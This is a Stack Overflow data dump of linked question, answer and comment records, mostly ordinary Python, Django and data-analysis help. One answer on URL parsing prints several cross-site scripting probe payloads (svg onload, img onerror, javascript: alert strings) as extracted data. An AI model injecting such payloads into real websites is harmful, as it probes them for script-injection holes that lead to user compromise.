tags question: http://stackoverflow.com/q/48711044
tags question: http://stackoverflow.com/q/48752282
tags question: http://stackoverflow.com/q/48654217

http://stackoverflow.com/q/48655869
tagged with: django-urls
has title: Django: Redirect to different page if logged in in urls.py
type: Question
answer count: 2
has body: I have this url: url(r'^signup/$', TemplateView.as_view(template_name='users/signup.html')), and I want the user to be redirected to a different url, if they try access this page and are already logged in. Is there anyway I can do this in the urls.py or will I have to write a view for it?
upvote count: 1
has answer: http://stackoverflow.com/a/48656437
favorite count: 0
has answer: http://stackoverflow.com/a/48655938
type: UnansweredQuestion
tagged with: django
tagged with: python
downvote count: 0
linked to: http://stackoverflow.com/q/3644902
score: 1

http://stackoverflow.com/q/48710739
answer count: 1
has title: How to create detail path in Django
score: 0
linked to: http://stackoverflow.com/q/44038482
has comment: http://stackoverflow.com/comment/84420566
has comment: http://stackoverflow.com/comment/84420852
tagged with: python
has comment: http://stackoverflow.com/comment/84420484
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84420896
has body: I want to create detail path in Django. I've create a categories and subcategories directory and after that I putting in subcategory the post. I want to create my path like localhost/category/subcategory/detail_page.html where category is slug of category and subcategory is a slug of subcategory. In that moment my app creating the path like localhost/detail_page.html How to do it? views.py: from django.shortcuts import render, get_object_or_404 from .models import Kategoria, Firma def strona_glowna(request): kategorie = Kategoria.objects.filter(parent=None).order_by('name') firmy = Firma.objects.all().order_by('publish')[:5] context = {'kategorie': kategorie, 'firmy': firmy} return render(request, 'ogloszenia/index.html', context=context) def detale_firmy(request, slug): detale_firmy = get_object_or_404(Firma, slug=slug) return render(request, 'ogloszenia/detale_firmy.html', {'detale_firmy':detale_firmy}) urls.py: from django.urls import path from . import views urlpatterns = [ path('', views.strona_glowna, name='strona_glowna'), path('<slug>', views.detale_firmy, name='detale_firmy'), ] index.html {% for kategoria in kategorie %} {{kategoria.name}} {% if kategoria.children.count > 0 %} {% for sub in kategoria.children.all %} {{ sub.name }} {% endfor %} {% endif %} {% endfor %} Ostatio dodane: {% for firma in firmy %} {{firma.title}}
tagged with: django
has comment: http://stackoverflow.com/comment/84420624
has comment: http://stackoverflow.com/comment/84420659
type: Question
has answer: http://stackoverflow.com/a/48711622
has comment: http://stackoverflow.com/comment/84420727

class
tags question: http://stackoverflow.com/q/48793311
tags question: http://stackoverflow.com/q/48792941
tags question: http://stackoverflow.com/q/48779430
tags question: http://stackoverflow.com/q/48688315
tags question: http://stackoverflow.com/q/48794279
tags question: http://stackoverflow.com/q/48773147
tags question: http://stackoverflow.com/q/48755289
tags question: http://stackoverflow.com/q/48789802
tags question: http://stackoverflow.com/q/48720411
tags question: http://stackoverflow.com/q/48784392
tags question: http://stackoverflow.com/q/48699898
tags question: http://stackoverflow.com/q/48802454
type: Tag
tags question: http://stackoverflow.com/q/48683295
tags question: http://stackoverflow.com/q/48721603
tags question: http://stackoverflow.com/q/48719663
tags question: http://stackoverflow.com/q/48748617
tags question: http://stackoverflow.com/q/48790812
tags question: http://stackoverflow.com/q/48785822
tags question: http://stackoverflow.com/q/48731097
tag name: class
tags question: http://stackoverflow.com/q/48717893
tags question: http://stackoverflow.com/q/48716914
tags question: http://stackoverflow.com/q/48709145
tags question: http://stackoverflow.com/q/48683727
tags question: http://stackoverflow.com/q/48710543
tags question: http://stackoverflow.com/q/48799472
tags question: http://stackoverflow.com/q/48718835
tags question: http://stackoverflow.com/q/48738105
tags question: http://stackoverflow.com/q/48698131
tags question: http://stackoverflow.com/q/48784042

http://stackoverflow.com/q/48754806
tagged with: dictionary
downvote count: 1
accepted answer: http://stackoverflow.com/a/48755363
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/48755160
tagged with: twitter
has answer: http://stackoverflow.com/a/48755160
has body: I am trying to have my program read a tweet, and look for a company name in that tweet by looking in my dictionary. If it finds a company name, I want it to return the ticker connected to that company name. I can get it to work when the dictionary key is a single word but it won't show it its a multi-word key like CHINA UNICOM or EXPRESS SCRIPTS. Any suggestions? I know that splitting the tweet makes it difficult to search for multi-word strings but its the only way I could make it work for single word company names like FACEBOOK and GOOGLE. Thanks, here's my code. (the input is just the tweet i'm just manually entering them for now until I figure out how to get this to work) dictionary = {'apple':'AAPL', 'google':'GOOG', 'alphabet':'GOOGL', 'microsoft':'MSFT', 'amazon':'AMZN', 'facebook':'FB', 'express scripts':'ESRX', 'china unicom':'CHU'} data = "Google is in talks to acquire China Unicom" tweet = data.lower() if any(word in tweet for word in dictionary.keys()): for x in tweet.split(): if x in dictionary.keys(): print(dictionary[x]) The output I am looking for would be GOOG and CHU but I only get GOOG.
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48755363
favorite count: 0
tagged with: python-3.x
upvote count: 1
tagged with: python
has title: Search string for dictionary key and if contains, display that keys value

http://stackoverflow.com/comment/84317472
has text: @jezrael No problem. Nice answer by the way ;)
score: 2
comment on: http://stackoverflow.com/a/48659002
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48697592
answer count: 1
has title: Web Development in python with Visual Studio
type: UnansweredQuestion
tagged with: python
downvote count: 1
tagged with: visual-studio
score: -1
type: Question
upvote count: 0
has body: I have read that there is version of python in visual studio 2017. I have read that it contains Django.... since, I think a good debugger, and IDE like visual studio would be great for web development... I wonder if it is possible.. to develop python &amp; Django using Visual Studio 2017?
favorite count: 0
has answer: http://stackoverflow.com/a/48697753

http://stackoverflow.com/comment/84519024
type: QuestionComment
has text: Sorry, i just added mising part. I'll try to fix the code for a while, because of this have some crap code, just ignore it please.
comment on: http://stackoverflow.com/q/48759026
type: Comment
score: 0

http://stackoverflow.com/q/48760381
score: 0
has answer: http://stackoverflow.com/a/48760990
has answer: http://stackoverflow.com/a/48764774
tagged with: django-models
type: UnansweredQuestion
has title: Why is my else tag in django template not working
has body: So i have manytomany field .In the template i want to verify if the current user exist in the manytomany field and display an out put respectively model.py class Business(models.Model): businessname=models.CharField(max_length=230,null=True) creator==models.ForeignKey(User,unique=True) users=models.ManyToManyField(Users,null=True,related-name="shared") In my veiw.py def Display(request): BusinessObjects = Business.objects.all() template="template.html" return render(request,template,context={'objects':BusinessObjects}) template.html {% for obj in objects %} {{obj.businessname}} {% for currentuser in obj.users %} {% if user.username in currentuser.username %} You are sharing this object {% else %} You are not sharing this object {% endif %} {% endfor %} {% endfor %} My else statement does not work despite the username is not present .But the first statement execute if username present .What i my doing wrong in the if statement and why is my else statement not working .Thanks .And please do not downgrade my question if it is not important to you.
tagged with: http://stackoverflow.com/tag/html
type: Question
answer count: 2
tagged with: python

http://stackoverflow.com/q/48790812
has comment: http://stackoverflow.com/comment/84583687
score: 0
has answer: http://stackoverflow.com/a/48791171
has comment: http://stackoverflow.com/comment/84583784
type: Question
has title: proper using of 'self' in a python script
has answer: http://stackoverflow.com/a/48791287
tagged with: class
answer count: 3
accepted answer: http://stackoverflow.com/a/48791171
has answer: http://stackoverflow.com/a/48791049
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/48791049
has body: I'm finally creating a class to analyse my data in a more streamlined way. It takes a CSV file and outputs some information about the table and its columns. class Analyses: def Types_des_colonnes(self, df): tcol = df.columns.to_series().groupby(df.dtypes).groups tycol = {k.name: v for k, v in tcol.items()} return(self.tycol) def Analyse_table(self, table): # Renvoi un dico 'tycol' avec les types en clef et les noms des colonnes en valeur: Types_des_colonnes(table) nbr_types_colonnes_diff=len(tycol.keys()) type_table = table.dtypes liste_columns = table.columns clef_types= tycol.keys() long_table = len(table) nbr_cols = len(liste_columns) print(table.describe()) print('Nombre de colonnes: '+ str(nbr_cols)) print('Nombre de types de colonnes différentes: '+str(nbr_types_colonnes_diff)) for kk in range(0,nbr_types_colonnes_diff): print('Type: ' + tycol.keys()[kk]) print(tycol.values()) return(liste_columns) def Analyse_colonne(self, col): from numpy import where, nan from pandas import isnull,core,DataFrame # Si col est un dataframe: if type(col) == core.frame.DataFrame: dict_col = {} for co in col.columns: dict_col_Loc = Analyse_colonne(col[co]); dict_col[co] = dict_col_Loc.values() return(dict_col) elif type(col) == core.series.Series: type_col = type(col) arr_null = where(isnull(col))[0] type_data = col.dtype col_uniq = col.unique() nbr_unique= len(col_uniq) taille_col= len(col) nbr_ligne_vide= len(arr_null) top_entree= col.head() bottom_entree= col.tail() pct_uniq= (float(nbr_unique)/float(taille_col))*100.0 pct_ligne_vide= (float(nbr_ligne_vide)/float(taille_col))*100.0 print('\n') print(' ################# '+col.name+' #################') print('Type des données: ' + str(type_data)) print('Taille de la colonne: ' + str(taille_col)) if nbr_unique == 1: print('Aucune entrée unique') else: print('Nombre d\'uniques: '+ str(nbr_unique)) print('Pourcentage d\'uniques: '+str(pct_uniq)+' %') if nbr_ligne_vide == 0: print('Aucune ligne vide') else: print('Nombre de lignes…
tagged with: python
has comment: http://stackoverflow.com/comment/84584420
type: AnsweredQuestion

http://stackoverflow.com/q/48725890
possible better answer: http://stackoverflow.com/a/57876698
downvote count: 0
has answer: http://stackoverflow.com/a/57876698
favorite count: 0
tagged with: python-asyncio
tagged with: python
upvote count: 16
type: AnsweredQuestion
has title: RuntimeError: There is no current event loop in thread 'Thread-1' , multithreading and asyncio error
tagged with: multithreading
has answer: http://stackoverflow.com/a/48726076
score: 16
has body: I am having a thread which calls asyncio loops, however this causes the mentioned exception: RuntimeError: There is no current event loop in thread 'Thread-1'. This question: RuntimeError: There is no current event loop in thread in async + apscheduler came across the same problem, however they refered to a scheduler which I do not have. My code is the following: def worker(ws): l1 = asyncio.get_event_loop() l1.run_until_complete(ws.start()) l2 = asyncio.get_event_loop() l2.run_forever() if __name__ == '__main__': ws = Server() p = threading.Thread(target=worker,args=(ws,)) p.start() while True: try: #...do sth except KeyboardInterrupt: p.join() exit()
type: Question
linked to: http://stackoverflow.com/q/46727787
has answer: http://stackoverflow.com/a/56898958
answer count: 3
accepted answer: http://stackoverflow.com/a/48726076

http://stackoverflow.com/comment/84474453
type: QuestionComment
comment on: http://stackoverflow.com/q/48737279
type: Comment
has text: @DYZ i realize that if/else is not necessary for this. I am trying to return ''returns True if x is bigger than y, False if it is not'''.
score: 0

http://stackoverflow.com/a/48751388
type: Answer
has comment: http://stackoverflow.com/comment/84513655
has comment: http://stackoverflow.com/comment/84509731
has comment: http://stackoverflow.com/comment/84513562
has comment: http://stackoverflow.com/comment/84513589
has body: Thank you for editing your question into a good one. There is an mcve and clear problem stated. +1 I am not entirely sure what you want to do with the results of the search. In the code below I just printed the files out. There wasn't really anything wrong with the code. All that was needed was a little cleaning and deleting. Changes I made to the code: Removed the duplicate functions fi1, finding1 and the commented lines of code. Also changed one of the Button's functions from fi1 to fi. Removed the line if os.path.exists(term) == True: because it was stopping the search from executing so I removed it. It also doesn't make sense to check this because term is what the user entered and this isn't a full path. Instead of printing result inside the function, I returned it and printed the output of it's call later on. Removed the line term = term, because it is not needed. I changed the line find_all(term, r'C:\Users\MUM') by removing the character r and added in my own directory to search in. I recommend not putting in a directory that is too large in the find_all function. It takes very long if the directory has too many folders, files, etc. Also, the path in the code is not a real path, change it to one for your computer. Note: I haven't tested the code that searches on Google and the internet so I am not sure if that works too. All I tested was the code relating to this question about searching for files in a folder. Here is the fixed code: import webbrowser from tkinter import * import os tk = Tk() web1 = 'www.' web2 = '.com' en = Entry(tk) en.grid() bind = 0 def work(): global tk1, term, en1, tabUrl, end tk1 = Tk() en1 = Entry(tk1) en1.grid(row=1) b = Button(tk1, text='Go', command=fi) b.grid(row=2) if types.upper() == 'GOOGLE': tabUrl = "https://google.com/search?q="; end = ("&amp;cad=h") l = Label(tk1, text='What would you like to search?') l.grid(row=0) if types.upper() == "YOUTUBE": tabUrl = "https://www.youtube.com/results?search_query="; l = Label(tk1, text=…
accepted answer of: http://stackoverflow.com/q/48732710
has comment: http://stackoverflow.com/comment/84584439
answers question: http://stackoverflow.com/q/48732710
score: 0
has comment: http://stackoverflow.com/comment/84582071
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84507892

http://stackoverflow.com/q/48736206
has body: I have a numpy array of the shape (n, 12) representing the input datapoints of my data, of floating point formal, and a numpy array of shape (n,) containing the labels of the datapoints (integer). However, I can't work out how to convert it into a tensorflow dataset - the guide method throws an error: Offending line of code is dataset= tf.data.Dataset.from_tensor_slices((features, labels)) giving an error TypeError: Expected binary or unicode string, got Decimal('0.4367') Thanks
upvote count: 4
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/84472185
tagged with: tensorflow-datasets
favorite count: 0
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/48751398
score: 4
has comment: http://stackoverflow.com/comment/84472055
accepted answer: http://stackoverflow.com/a/48751398
has comment: http://stackoverflow.com/comment/84471936
has comment: http://stackoverflow.com/comment/84472111
answer count: 1
tagged with: tensorflow
tagged with: numpy
has title: Convert 2D numpy array to Tensorflow Dataset

http://stackoverflow.com/q/48711307
score: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84425231
has comment: http://stackoverflow.com/comment/84425150
has comment: http://stackoverflow.com/comment/84443258
tagged with: pca
has comment: http://stackoverflow.com/comment/84440139
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84425757
has comment: http://stackoverflow.com/comment/84430464
has body: I have a dataset which I have read in and normalized called normX. I used the following block to set up PCA: pca = PCA(n_components=None) pca.fit_transform(normX) pca.copy = True pca.whiten = False pca.iterated_power = 'auto' pca.svd_solver = 'auto' pca.random_state = None # Calculate loading matrix loadM = pca.components_.T * np.sqrt(pca.explained_variance_) # Extracting loading vectors loadV1 = loadM[:,0] loadV2 = loadM[:,1] loadV3 = loadM[:,2] I am trying to now transform the original data into the principal component space and then plot the transformed data in loadV1-loadV2, loadV1-loadV3 and loadV2-loadV3 space so I can then discuss the results of the plot. My code for the first pace loadV1-loadV2 is below, but it results in just a jumble of data on a single plot: xvec= pca.components_[0] yvec = pca.components_[1] loadV1-loadV2 = np.dot(loadV1,loadV2) xs = pca.transform(normX)[:,0] ys = pca.transform(normX)[:,1] for i in range(len(xvec)): plt.arrow(0, 0, xvec[i]*max(xs), yvec[i]*max(ys), color='r', width=0.0005, head_width=0.0025) plt.text(xvec[i]*max(xs)*1.2, yvec[i]*max(ys)*1.2, loadV1-loadV2, color='r') for i in range(len(xs)): plt.plot(xs[i], ys[i], 'bo') plt.text(xs[i]*1.2, ys[i]*1.2, loadV1-loadV2, color='b') plt.show() This results in a plot with a lot of data jumbled close together and ends up having multiple vectors (red lines) plotted as points. I'm not sure what I'm doing wrong here. Any thoughts?
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/84425276
type: Question
has title: Attempting to perform PCA, plotting in PCA space
tagged with: scikit-learn

http://stackoverflow.com/q/48668884
accepted answer: http://stackoverflow.com/a/48669057
has comment: http://stackoverflow.com/comment/84335646
tagged with: http://stackoverflow.com/tag/r
score: 0
tagged with: random
answer count: 4
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/48669073
has body: I want to create a random number using n numbers which are between i and j. For instance, for n=10 and i=1 and j=5, such an output is expected: 2414243211. I did it in R using this code: paste(floor(runif(10,1,5)),collapse="") #runif create 10 random number between 1 and 5 and floor make them as integer and finally paste makes them as a sequence of numbers instead of array. I want to do the same in Python. I found random.uniform but it generates 1 number and I don't want to use loops. import random import math math.floor(random.uniform(1,5)) #just generate 1 number between 1 and 5 update: i and j are integers between 0 and 9, while n could be any integer. i and j decide which number can be used in the string while n indicates the length of the numeric string.
downvote count: 2
has comment: http://stackoverflow.com/comment/84335684
tagged with: python
has answer: http://stackoverflow.com/a/48669057
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48669058
possible better answer: http://stackoverflow.com/a/48668971
has title: Generating n random numbers between i and j python
has answer: http://stackoverflow.com/a/48668971
type: Question

http://stackoverflow.com/comment/84714976
type: Comment
comment on: http://stackoverflow.com/a/48727297
type: AnswerComment
has text: Does it work with non-blank root categories? Actually that shouldn't matter since only leaf nodes are considered by the code. If that resolved the issue anyways, I highly suspect some problems with your tree structure since it would imply that `is_leaf_node()` returns `True` on root nodes.
score: 0

http://stackoverflow.com/a/48783898
has comment: http://stackoverflow.com/comment/84569477
score: 0
type: Answer
has body: You can try to iterate and use good old if and endswith (no regexps). I prepared a simple example (no CSV): t = ['a', 'b', 'c@gmail.com'] for i, s in enumerate(t): if not s.endswith('@gmail.com'): t[i] = s + '@gmail.com' print(t)
answers question: http://stackoverflow.com/q/48783682

http://stackoverflow.com/a/48729311
has body: Some of the URLs in your example are valid (or at least conditionally valid). You can access the pieces of interest via a combination of urlparse() and parse_qs(): from urllib.parse import urlparse, parse_qs from itertools import chain pieces = list(chain(*[ [item for item in chain(*parse_qs(urlparse(url).query).values()) if 'XSS' in item] for url in urls])) #['"&gt;&lt;svg/onload=alert(/XSS/)&gt;', # 'javascript:alert`XSS`', # "'-confirm(/XSS/)-'", # '"&gt;&lt;img src=x onerror=prompt(/XSS/)&gt;'] Some URLs (e.g., the first one) are invalid. It is not clear what exactly you want to get from them. You may get more help if you provide a clear definition of the expected results.
answers question: http://stackoverflow.com/q/48728754
score: 0
type: Answer

http://stackoverflow.com/comment/84455665
score: 0
type: Comment
has text: Yes, definitely. `sum` is a builtin function so better not use that name literally since you'll be overwriting it. Do you want me to add that part?
comment on: http://stackoverflow.com/a/48728305
type: AnswerComment

http://stackoverflow.com/a/48774440
has body: grep seems like it should work. Seems like grep -Fx -f [searchfile] [matchfile] (-F to indicate string not regex matching, and -x to force the whole line to be matched) should do what you want? E.g. $ cat grepsearch.txt 000.000 111.111 222.333 $ cat greptest.txt 1 2 41 5 235 15 15 000.000.00 431 5341 643 16 43 000.000 3251235 431 5431 543 1 543 15341 111.111 435143 54 35 43 11111 1111111 11111 111111 0000000 00000 222.333 432 145 3415 431 543 $ grep -F -f grepsearch.txt greptest.txt 000.000 111.111 222.333 Note without -F/-x the .'s are being interpreted as regex: $ grep -f grepsearch.txt greptest.txt 000.000 111.111 1111111 0000000 222.333
accepted answer of: http://stackoverflow.com/q/48773484
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/84553480
downvote count: 1
score: -1
answers question: http://stackoverflow.com/q/48773484
has comment: http://stackoverflow.com/comment/84553432
has comment: http://stackoverflow.com/comment/84597926
upvote count: 0

http://stackoverflow.com/comment/84444465
has text: Run it a bunch of times? Or does CherryPy itself know how to fork?
comment on: http://stackoverflow.com/q/48722825
score: 0
type: Comment
type: QuestionComment

web-scraping
tags question: http://stackoverflow.com/q/48724247
tags question: http://stackoverflow.com/q/48761464
tags question: http://stackoverflow.com/q/48669218
tags question: http://stackoverflow.com/q/48800385
tags question: http://stackoverflow.com/q/48724263
tags question: http://stackoverflow.com/q/48692446
tags question: http://stackoverflow.com/q/48686393
tags question: http://stackoverflow.com/q/48802611
tags question: http://stackoverflow.com/q/48686724
tags question: http://stackoverflow.com/q/48738111
tags question: http://stackoverflow.com/q/48665846
tags question: http://stackoverflow.com/q/48693388
tags question: http://stackoverflow.com/q/48797819
tags question: http://stackoverflow.com/q/48794294
tags question: http://stackoverflow.com/q/48760129
tags question: http://stackoverflow.com/q/48722703
tags question: http://stackoverflow.com/q/48655692
tags question: http://stackoverflow.com/q/48728816
tags question: http://stackoverflow.com/q/48699335
tags question: http://stackoverflow.com/q/48662469
tags question: http://stackoverflow.com/q/48656659
tags question: http://stackoverflow.com/q/48786064
tags question: http://stackoverflow.com/q/48785900
tags question: http://stackoverflow.com/q/48778002
tags question: http://stackoverflow.com/q/48685116
tags question: http://stackoverflow.com/q/48756326
tags question: http://stackoverflow.com/q/48788782
tags question: http://stackoverflow.com/q/48736326
tags question: http://stackoverflow.com/q/48776558
tags question: http://stackoverflow.com/q/48773942
tags question: http://stackoverflow.com/q/48717036
tags question: http://stackoverflow.com/q/48649613
tags question: http://stackoverflow.com/q/48708373
tags question: http://stackoverflow.com/q/48708882
tags question: http://stackoverflow.com/q/48646912
tags question: http://stackoverflow.com/q/48733214
tags question: http://stackoverflow.com/q/48750896
tag name: web-scraping
tags question: http://stackoverflow.com/q/48674254
tags question: http://stackoverflow.com/q/48757828
tags question: http://stackoverflow.com/q/48736437
tags question: http://stackoverflow.com/q/48683970
tags question: http://stackoverflow.com/q/48694965
tags question: http://stackoverflow.com/q/48675469
tags question: http://stackoverflow.com/q/48649643
tags question: http://stackoverflow.com/q/48649787
tags question: http://stackoverflow.com/q/48780530
tags question: http://stackoverflow.com/q/48753563
tags question: http://stackoverflow.com/q/48717962
tags question: http://stackoverflow.com/q/48787141
tags question: http://stackoverflow.com/q/48732475
tags question: http://stackoverflow.com/q/48767091
type: Tag
tags question: http://stackoverflow.com/q/48734820
tags question: http://stackoverflow.com/q/48692345
tags question: http://stackoverflow.com/q/48671746
tags question: http://stackoverflow.com/q/48783917
tags question: http://stackoverflow.com/q/48801835
tags question: http://stackoverflow.com/q/48728457
tags question: http://stackoverflow.com/q/48745678
tags question: http://stackoverflow.com/q/48733155
tags question: http://stackoverflow.com/q/48710682
tags question: http://stackoverflow.com/q/48771856
tags question: http://stackoverflow.com/q/48672245
tags question: http://stackoverflow.com/q/48758591
tags question: http://stackoverflow.com/q/48665960

http://stackoverflow.com/comment/84616427
type: AnswerComment
type: Comment
has text: His was first but indexing was wrong, but since this has since been corrected I suggest you give him credit.
comment on: http://stackoverflow.com/a/48799545
score: 1

http://stackoverflow.com/comment/84317765
type: QuestionComment
has text: Im sorry ,I forgot to mention after the normalization i multiply it by 255,One second let me post the code
score: 0
comment on: http://stackoverflow.com/q/48660073
type: Comment

http://stackoverflow.com/a/48681890
answers question: http://stackoverflow.com/q/48681792
downvote count: 0
type: Answer
has body: This line c.execute('SELECT * FROM Logins WHERE password=? AND username=?', (passw,user)) You're missing a comma.
score: 2
upvote count: 2

http://stackoverflow.com/comment/128770589
has text: As far as I can tell, the important step here is `new_df = pd.DataFrame(df['marks'].tolist())`. The `pop` call just deletes the old column after you use it, and I think you can skip the `.values` step. Thanks for this answer!
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/48745199
type: Comment

http://stackoverflow.com/a/48716875
type: Answer
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48716852
downvote count: 0
has body: You can use InlineModelAdmin TabularInline
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48716852

http://stackoverflow.com/comment/84590625
type: AnswerComment
has text: No, I need to navigate into each project to extract more info.
score: 0
comment on: http://stackoverflow.com/a/48774463
type: Comment

http://stackoverflow.com/q/48717126
tagged with: python-2.7
tagged with: turi-create
favorite count: 0
linked to: http://stackoverflow.com/q/31512422
tagged with: terminal
tagged with: pip
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48727285
duplicate of: http://stackoverflow.com/q/31512422
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84433864
has body: I'm trying to install a package called turicreate on my device. I want to use it in code written in python 2.7 I have both python 3.6 and python 2.7 on my device so I'm trying to use the command: $ python2.7 -m pip install turicreate and then I get this error: Running setup.py install for prettytable ... error Complete output from command /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -u -c "import setuptools, tokenize;__file__='/private/var/folders/4d/3qphp3b56cjdhdqh3jcv994r0000gn/T/pip-build-Uya2Ub/prettytable/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /var/folders/4d/3qphp3b56cjdhdqh3jcv994r0000gn/T/pip-3wU21B-record/install-record.txt --single-version-externally-managed --compile: running install running build running build_py creating build creating build/lib copying prettytable.py -&gt; build/lib running install_lib copying build/lib/prettytable.py -&gt; /Library/Python/2.7/site-packages error: [Errno 13] Permission denied: '/Library/Python/2.7/site-packages/prettytable.py' ---------------------------------------- Command "/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -u -c "import setuptools, tokenize;__file__='/private/var/folders/4d/3qphp3b56cjdhdqh3jcv994r0000gn/T/pip-build-Uya2Ub/prettytable/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /var/folders/4d/3qphp3b56cjdhdqh3jcv994r0000gn/T/pip-3wU21B-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /private/var/folders/4d/3qphp3b56cjdhdqh3jcv994r0000gn/T/pip-build-Uya2Ub/prettytable/ Could someone please propose a solution to this issue? Thanks, Abe PS: I'm on Mac and doing this in terminal.
type: Question
has title: Error when installing turicreate
accepted answer: http://stackoverflow.com/a/48727285
answer count: 1
downvote count: 0
score: 1

http://stackoverflow.com/q/48793311
type: Question
has comment: http://stackoverflow.com/comment/84589173
answer count: 2
downvote count: 0
tagged with: class
tagged with: getter-setter
has body: Everyone says to use self.variable_name but that only works inside the method that gets or sets it. I need to be able to use the values of other variables set in the instance when setting one. class WebSite: def __init__(self, url='', subdomain='www'): self.url = url self.subdomain = subdomain @property def url(self): return self.__url @url.setter def url(self, url): self.__url = f'http://{self.subdomain}.example.com' @property def subdomain(self): return self.__subdomain @subdomain.setter def subdomain(self, subdomain): self.__subdomain = subdomain then: &gt;&gt;&gt;import package as p &gt;&gt;&gt;site = p.website() Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/Users/dblack/Code/package/package/website.py", line 4, in __init__ self.url = url File "/Users/dblack/Code/package/package/website.py", line 13, in url self.__url = f'http://{self.subdomain}.site.com' File "/Users/dblack/Code/package/package/website.py", line 17, in subdomain return self.__subdomain AttributeError: 'WebSite' object has no attribute '_WebSite__subdomain' I tried a lot of finagling, this must be the wrong approach completely.
has comment: http://stackoverflow.com/comment/84588849
tagged with: instance-variables
favorite count: 0
tagged with: python-3.x
has title: How can I reference another class instance variable when getting or setting another?
has comment: http://stackoverflow.com/comment/84588996
has answer: http://stackoverflow.com/a/48793412
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48793410
tagged with: python
has comment: http://stackoverflow.com/comment/84596728
score: 1
has comment: http://stackoverflow.com/comment/84596687
has comment: http://stackoverflow.com/comment/84596669
upvote count: 1

http://stackoverflow.com/a/48746047
answers question: http://stackoverflow.com/q/48745916
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 2
score: 2
has body: You can easily use multiprocessing for that. Write a function which runs the entire process for a given executable: def foo(exe_path): do stuff Then feed it into map: import multiprocessing pool = multiprocessing.Pool(os.cpu_count() - 1) pool.map(foo, list_of_paths)
accepted answer of: http://stackoverflow.com/q/48745916

http://stackoverflow.com/comment/84549008
comment on: http://stackoverflow.com/q/48771217
has text: I changed the whole code for the important part
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84510179
has text: I disagree: The `@staticmethod` decorator is not that rare. It does just what you thought: indicate that a class method does not require `self`. And your code is not all that bad - you want to count how many items in `data` are of some particular class and have some particular attribute values. That is just what it does.
comment on: http://stackoverflow.com/q/48754509
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48681118
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/55252994
has comment: http://stackoverflow.com/comment/84359312
has body: I want to remove hashtag symbol ('#') and underscore that separate between words ('_') Example: "this tweet is example #key1_key2_key3" the result I want: "this tweet is example key1 key2 key3" My code using string : #Remove punctuation , # Hashtag Symbol translate_table = dict((ord(char), None) for char in string.punctuation) cleaned_combined_tweets.translate(translate_table) which gives the result: "this tweet is example key1key2key3"
has answer: http://stackoverflow.com/a/48681350
has answer: http://stackoverflow.com/a/48682499
type: Question
has answer: http://stackoverflow.com/a/48681364
downvote count: 0
accepted answer: http://stackoverflow.com/a/48681350
favorite count: 0
possible better answer: http://stackoverflow.com/a/48681364
has title: Python remove hashtag symbol and keep key words
answer count: 5
tagged with: python
upvote count: 6
has answer: http://stackoverflow.com/a/48681566
score: 6
tagged with: data-cleaning

http://stackoverflow.com/comment/84571207
score: 0
type: AnswerComment
has text: I don't think that's it. The former string is the database url SQLAlchemy normally takes, which is of the format `dialect[+driver]://user:password@host/dbname`. See the [documentation](http://docs.sqlalchemy.org/en/latest/core/engines.html#sqlalchemy.create_engine) for more info. That is the heart of my problem. I want to use that string format and not special case for an Oracle connection.
type: Comment
comment on: http://stackoverflow.com/a/48779059

http://stackoverflow.com/q/48663241
has comment: http://stackoverflow.com/comment/84324314
tagged with: python
accepted answer: http://stackoverflow.com/a/56212410
type: AnsweredQuestion
tagged with: code-coverage
tagged with: pytest-cov
type: Question
has title: Why code coverage not 100%? pytest-cov
has comment: http://stackoverflow.com/comment/84326020
has comment: http://stackoverflow.com/comment/84323782
has answer: http://stackoverflow.com/a/56212410
score: 0
answer count: 1
has body: Why am I not getting 100% code coverage?! All methods are tested... How the code coverage percentage is calculated? CODE import os def get_root_dir(): return os.path.abspath(os.path.join(os.path.sep, os.path.dirname(os.path.realpath(__file__)), '../../')) def get_coverage_report_dir(): return os.path.join(os.path.sep, get_root_dir(), 'coverage_report') TEST import unittest class TestPaths(unittest.TestCase): def test_paths(self): import src.utils.paths as paths self.assertTrue(paths.get_root_dir().endswith('myproject')) self.assertTrue(paths.get_root_dir() in paths.get_coverage_report_dir() and paths.get_coverage_report_dir().endswith('coverage_report')) REPORT ---------- coverage: platform win32, python 2.7.14-final-0 ----------- Name Stmts Miss Cover ------------------------------------------------------ src\utils\__init__.py 0 0 100% src\utils\example_util_module.py 2 0 100% src\utils\paths.py 5 3 40% ------------------------------------------------------ TOTAL 7 3 57%

http://stackoverflow.com/comment/84399816
type: AnswerComment
comment on: http://stackoverflow.com/a/48700643
type: Comment
score: 0
has text: the `Path` also do the same job , you can see the that in the answer to the question in that link you have given. possibly the issue with path string.

http://stackoverflow.com/a/48759187
upvote count: 22
answers question: http://stackoverflow.com/q/48759175
downvote count: 0
score: 22
